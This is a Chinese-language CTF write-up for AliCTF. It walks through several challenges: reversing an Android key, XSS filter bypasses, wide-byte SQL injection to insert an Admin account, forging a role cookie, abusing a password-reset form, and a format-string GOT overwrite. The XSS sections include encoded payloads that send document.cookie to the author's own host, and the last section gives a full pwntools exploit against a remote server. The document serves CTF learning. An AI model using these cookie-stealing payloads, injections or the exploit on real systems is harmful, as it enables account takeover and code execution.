最后得了第二十一,后来看人家的Writeup,发现差距还是很大的,继续学习。

Cake

这题不难,主要是工具出问题了耽误了时间。最后用Gapktool反编译成java源码,阅读源码得到key的算法。Check()方法中定义了一个长度为16的字符串,将字符串的第i与” bobdylan”的第 i % 8位进行异或,即得key。下面是php实现的算法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$ai=array(0,3,13,19,85,5,15,78,22,7,7,68,14,5,15,42);
$s1=array('b','o','b','d','y','l','a','n');

$r='';
for($i=0;$i<16;$i++)
{
$r.=chr($ai[$i] ^ ord($s1[$i % count($s1)]));
}
echo $r;
?>

cake1-1

前端初赛题1

xss1-1
初步测试了一下,过了. “‘()=等,而且题目指定用chrome测试,遂先后尝试了HTML imports, <svg>等方法,最后队友成功利用<svg>构造了个可用payload,本机测试成功,但是当晚提交连接之后却没有记录到cookies。最后经过测试发现是由于我们用了境外的vps来接收cookies导致的,换成国内主机即可。
Payload:

1
http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23109%3B%26%23121%3B%26%2346%3B%26%23104%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2347%3B%26%23119%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%2363%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2361%3B%26%2334%3B%26%2343%3B%26%23117%3B%26%23110%3B%26%23101%3B%26%23115%3B%26%2399%3B%26%2397%3B%26%23112%3B%26%23101%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2341%3B%26%2359%3B</script></svg>

记录到的cookies内容:

1
cookie=flag=aHR0cDovLzA4OWQ5YjJiMGRlNmEzMTkuYWxpY3RmLmNvbS96aGVkYW90aW11X3RlYmllbWVpeW91eWluZ3lhbmcucGhwP3Rva2VuPTJmOGU1OWFmMzhmMjQyMWMwYmI2ODQxODU2ZjhhZjVj

将flag值debase64之后得到链接

1
http://089d9b2b0de6a319.alictf.com/zhedaotimu_tebiemeiyouyingyang.php?token=2f8e59af38f2421c0bb6841856f8af5c

访问得到flag:51bfa0fa2405ef50a0fcf2f12d163e11958edb29

xss1-2

Payload的大概原理是<script>前的<svg>标签影响了html的解析顺序,导致了<script>标签内的html实体编号先解析,导致了script标签可执行。
相关资料:http://segmentfault.com/q/1010000002391106

前端初赛题2

该题目为一个swf文件,用http://www.showmycode.com/ 反编译一下,得到as源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package {
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.external.*;

public class swf extends Sprite {

public function swf(){
var _local3:*;
var _local4:*;
super();
var _local1:* = root.loaderInfo.parameters;
var _local2:* = root.loaderInfo.url.indexOf("?");
if (_local2 !== -1){
_local3 = this.parseStr(root.loaderInfo.url.substr((_local2 + 1)));
for (_local4 in _local1) {
if (_local3.hasOwnProperty(this.trim(_local4))){
delete _local1[_local4];
};
};
};
ExternalInterface.call("console.debug", _local1.debug);
}
public function parseStr(_arg1:String):Object{
var _local6:Array;
var _local2:Object = {};
_arg1 = unescape(_arg1).replace(/\+/g, " ");
var _local3:Array = _arg1.split("&");
if (!_local3.length){
return ({});
};
var _local4:uint;
var _local5:uint = _local3.length;
while (_local4 < _local5) {
_local6 = _local3[_local4].split("=");
if (!_local6.length){
} else {
_local2[this.trim(_local6[0])] = this.trim(_local6[1]);
};
_local4++;
};
return (_local2);
}
public function trim(_arg1:String):String{
if (!_arg1){
return (_arg1);
};
return (_arg1.toString().replace(/^\s*/, "").replace(/\s*$/, ""));
}

}
}//package

打开看了一下,

1
2
3
4
5
var _local1:* = root.loaderInfo.parameters;//用系统自带的方法取得url参数,为一个对象数组
var _local2:* = root.loaderInfo.url.indexOf("?"); //取得url第一个问号的位置
_local3 = this.parseStr(root.loaderInfo.url.substr((_local2 + 1))); //调用自己实现的parser来提取参数
后面大概逻辑就是如果用系统方法获取到的参数对象数组里的参数键名出现在自实现的parser提取到的数组里,则在_local1删掉这个参数。这样导致
ExternalInterface.call("console.debug", _local1.debug);

所传递的_local1.debug对象被删掉了,无法利用。这个尝试了很久,由于原来swf没有debug输出,比较难猜测,于是在反编译得到的as源码基础上加上了_local1、
root.loaderInfo.url.substr((_local2 + 1)和_local3的debug输出,更好的观察参数传递进去的情况。

xss2-1

最后尝试了%00截断,仍然不行,但是此时删掉了一个0,留下%0,发现控制台的undefined提示没有了,也就是说debug参数没有被删除,正确地传进了ExternalInterface.call("console.debug", _local1.debug) ;里,进一步调试,最后成功alert。

xss2-2

最后构造的payload为:

1
http://8dd25e24b4f65229.alictf.com/swf.swf?debug%0==123\%22));window.location=%27http://my.host/xss/w.php?cookie=%27.concat(unescape(document.cookie));}catch(e){}//

本地测试成功,但是提交之后记录不到cookies,怀疑是其中的%0有影响,改成%9在本机测试,依然成功,再次提交,得到cookie:

1
cookie=flag=aHR0cDovLzhkZDI1ZTI0YjRmNjUyMjkuYWxpY3RmLmNvbS9uaWppdXNoaV9jaHVhbnNodW96aG9uZ2RlX3hzc194aWFvd2FuZ3ppLnBocD90b2tlbj1kYzk3ZWM3N2E2OGI0MTQxOTA0OTMyODI0NDg5NjRiMw

flag后添加两个==,debase64后得到链接

1
http://8dd25e24b4f65229.alictf.com/nijiushi_chuanshuozhongde_xss_xiaowangzi.php?token=dc97ec77a68b414190493282448964b3

xss2-3

Payload是碰巧试出来的,后来一想有可能是as脚本将%0这样的字符串当成格式化字符串来处理了,导致问题。

简单业务逻辑

从注册页面和登陆页面分别得到注册和登陆的业务逻辑。

注册:

1
2
3
4
5
6
7
8
9
10
11
<!-- $username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = "select * from users where username='$username'";
if (0 < mysqli_num_rows(mysqli_query($conn, $sql)) ){
echo '<h2>Username Has benn used!</h2>';
}
else{
echo '<h2>SUCCESS!</h2>';
$sql = "INSERT into users (username, password) values ('$username', '$password');";
mysqli_query($conn, $sql);
} -->

登陆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- $username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$sql = "SELECT * from users where username='$username' and password='$password';";
$result = mysqli_query($conn, $sql);
$row = $result->fetch_assoc();

if(isset($row) ){
echo "<h1>Logged in as $username</h1>";
$_SESSION['username']=$row['username'];
$_SESSION['password']=$row['password'];

}else{
echo "<h1>Logged Failed</h1>";
} -->

可见都用了mysqli_real_escape_string来防注入,看到这个马上想到可能有宽字节注射。简单测试username=123%cf%27%23&password=123123123,多次提交均显示 scuuess,说明select语句正常执行,语句变成:

select * from users where username='123?’#

insert into失败,因为用用户名后面注释掉,插入语句变为:

Insert into users(username, password) values(‘123?’#,’123123123’);

再尝试用密码参数进行注入:

先给username传一个真实不存在的用户:username=donotexist&password=123456789%cf%27)%23

第一次提交,success,再次提交用户名已存在,基本确定存在宽字节注入。再来分析业务逻辑:注册的逻辑是先将传入的username带到查询里,看看是否已经存在该用户,不存在的话insert into来插入新用户信息,这里猜测用户表里没有做unique约束。再从主页上看到shop页面是Admin only,构造payload:

1
username=asdasdasdasdasd&password=123456123456%cf%27),(0x41646d696e,0x41646d696e41646d696e)%23

插入一个用户名Admin,密码AdminAdmin的帐号,成功登录。

logic1-1

首页提示flag价值$1000,Admin帐号只有$11,先看看表单。

1
2
3
4
5
6
7
8
<td>$1000</td>
<td>
<form action="shooooooooooooooooooooooop.php?token=dc97ec77a68b414190493282448964b3" method="post" role="form">
<input type="hidden" class="form-control" name="num" value="1">
<input type="hidden" class="form-control" name="id" value="6">
<button type="submit" class="btn btn-default">Buy</button>
</form>
</td>

发现一个num字段,将其改成0.0001,提交表单,flag跳出来了。

logic1-2

logic1-3

该方法在写writeup时无法复现。后来尝试构造超长用户名:Admin(n个空格)n,多次提交均可以注册成功,说明用户名长度超过了用户表中username字段的长度,最后的n被截断,导致将一个Admin用户成功插入到用户表里。

简单业务逻辑2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!--
function encrypt($plain) {
$plain = md5($plain);
$V = md5('??????');
//var_dump($V);
$rnd = md5(substr(microtime(),11));

//var_dump(substr(microtime(),11)+mt_rand(0,35));
$cipher = '';
for($i = 0; $i < strlen($plain); $i++) {
$cipher .= ($plain[$i] ^ $rnd[$i]);
}
$cipher .= $rnd;
$V .= strrev($V);
//var_dump($cipher);
for($i = 0; $i < strlen($V); $i++) {
$cipher[$i] = ($cipher[$i] ^ $V[$i]);
}
//var_dump($cipher);
//var_dump($V);
return str_replace('=', '', base64_encode($cipher));
}
function decrypt($cipher) {
$V = md5('??????');
$cipher_1 = base64_decode($cipher);
//var_dump($cipher_1);
if (strlen($cipher_1)!=64){
return 'xx';
}

$V .= strrev($V);
$plain = $cipher_1;
//var_dump($cipher_1);
//var_dump($V);
for($i = 0; $i < strlen($V); $i++) {
$plain[$i] = ($cipher_1[$i] ^ $V[$i]);
}
$ran = substr($plain,32,32);
$plain = substr($plain,0,32);
//var_dump($plain);
for ($i = 0; $i < strlen($ran); $i++) {
$plain[$i] = ($plain[$i] ^ $ran[$i]);
}
//var_dump($plain);
return $plain;
}
!>

logic2-1

加密部分算法是上图所示

反过来可以通过包头中时间戳md5后同最终的cipher后32位异或得到反向的V,正序后为4e224df013b3fd4f0de54126186e75de,通过V与最终cipher前32异或得到plain与rnd异或的值,再与rnd异或一次得到md5后的plain,解密后为Guest,将V放入encrypt,plain赋Admin,得到role为Admin的cookie打开网站,进入article页面

在cookie处发现序列化后的参数,尝试注入

1
2
3
4
<?php
$sql = "1 and 1=2 union select 1,flag from flag";
echo urlencode(serialize($sql));
?>

得到flag的地址

logic2-2
logic2-3

###业务逻辑和渗透
该题也是一个注册和登陆页面,先注册一个试试。要求提供邮箱,想了下还是填个有效的吧,估计会有用。注册完了去重置密码,邮箱收到一个重置链接:

1
http://jinan.alictf.com/resetpass/reset.php?pass_token=57b82007a6eb7304ead4080fcc2522c8

重置页面的表单有隐藏字段email,

reset1-1

改成重置链接那个发件邮箱alictf@189.cn,新密码填a123456直接提交表单,提示重置成功。用Admin和a123456登陆成功,得到flag。该题的当时没截图,后来无法重现。

###前端初赛题3
该题同样是用js实现了一个parser,取得当前url进行解析。先new URL(location.search.substr(1));取得url中?后的字符串,然后用实现的parser对该字符串进行处理,根据处理逻辑可知,?后传入的应该是我们的xss vector,但是要适当构造,绕过parser的判断。

关键在这里

1
2
3
4
5
6
//parse port
pos = this.authority.indexOf(':');
if(pos > -1){
this.port = this.authority.substr(pos+1);
this.authority = this.authority.substr(0, pos)
}

这里的port属性后来并没有引用,而最后是要判断authority属性的。所以可以构造payload

1
http://ef4c3e7556641f00.alictf.com/xss.php?http://123@notexist.example.com:@x.me/xss/x1.js

这个payload经过自实现的parser后,authority会被赋值为notexist.example.com,port则为@x.me,但是这并不影响,因为port后来并没有引用和判断。而访问该url会被认为是使用帐号123@notexist.example.com和空密码向x.me 主机请求http基础认证,可以正常访问。提交paylaoad,记录得到cookies。

1
cookie=flag=aHR0cDovL2VmNGMzZTc1NTY2NDFmMDAuYWxpY3RmLmNvbS9kYXRvdWVyemlfaGVfd2VpcXVubWFtYV9kZWd1c2hpLnBocD90b2tlbj1kYzk3ZWM3N2E2OGI0MTQxOTA0OTMyODI0NDg5NjRiMw

补等号,debase64得到链接:

1
http://ef4c3e7556641f00.alictf.com/datouerzi_he_weiqunmama_degushi.php?token=dc97ec77a68b414190493282448964b3

访问得flag:
xss3-1

###谁偷了你的站内短信
题目提供一个ELF可执行文件,丢IDA看看,由于刚接触二进制逆向,还是先用F5看看吧。
发现函数列表里有print_flag函数

pwn1-1

点进去F5看看

pwn1-2

没错,是读flag的,但是程序中没有调用这个函数的地方,先看看程序功能吧。

主菜单有注册和登陆,登陆之后可以查看收件箱,发件箱,发邮件,查看用户等功能。我注册一个新用户登陆进去之后,发现在我之前已经有一个奇怪的用户存在:

1
2
3
4
5
6
7
8
Total 7 records.
[ 0] eaf124c02c4
[ 1] test
[ 2]
[ 3] testtest
[ 4] x
[ 5] 5cff7cab73a
[ 6] admin

序号0那个用户很可疑,队友也说不是他们注册的。再根据ida提供的信息:

pwn1-3

pwn1-4

查询的地方都有注入,猜测flag可能在eaf124c02c4这个用户的收件箱或者发件箱里,尝试注入了一下,没有收获。

最后在sendMail函数里发现明显的格式化字符串漏洞:

pwn1-5

由于sendMail()函数执行完会返回main()中,跟着执行displayAction(),而displayAction();里面是用puts来输出选项的。于是思路清晰了,将puts的got地址写到一个可控的内存位置,然后用格式化字符串来改写got表,使puts条目指向print_flag函数的地址,在这样在sendMail()函数返回后就会调用print_flag来打印flag。

看看gdb调试的结果:
pwn1-6

调用sendMail()后显示from:当前用户名,也就是说用户名在mailMail()的栈里或者附近。Gdb把栈打印一下,找到相应的12字节。因为注册登陆的时候调用的是

1
2
printf("Input Your Name:");
get_input((char *)&v8, 12);

所以用户名占了12个字节,上图所示12个字节即为用户名在内存中的分布。然后用格式化字符串漏洞调用一下,打印大概范围的内存,看看具体偏移是多少。

pwn1-7

得到偏移是%76$x,%77$x,%78$x,最后在IDA中找到相关的地址:

pwn1-8

pwn1-9

pwn1-10

puts的got表地址:804C038

puts的实际地址:0804C16

print_flg的实际地址:08048BBD

下面是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
from pwn import *
import random

def rstr():
return str(random.randint(1000,9999))

#r = process('./exploit')
r = remote('121.40.207.47', 5563)

name = p32(0x804c038) + p32(0x804c03a)
pas = '123'

#reg
r.sendlineafter('Quit\n','1')
r.sendlineafter('Name:',name)
r.sendlineafter('Pass:',pas)

#login
r.sendlineafter('Quit\n','2')
r.sendlineafter('Name:',name)
r.sendlineafter('pass:',pas)

#sendMail
r.sendlineafter('Quit\n','3')
#gdb.attach(r,'''
#b *0x8049393
#c
#''')

r.sendlineafter('To:','%35773c%76$hn') #8BBD
r.sendlineafter('Title:','%2052c%77$hn') #0804
r.send('123\n')
s = r.recv()
r.interactive()

pwn1-11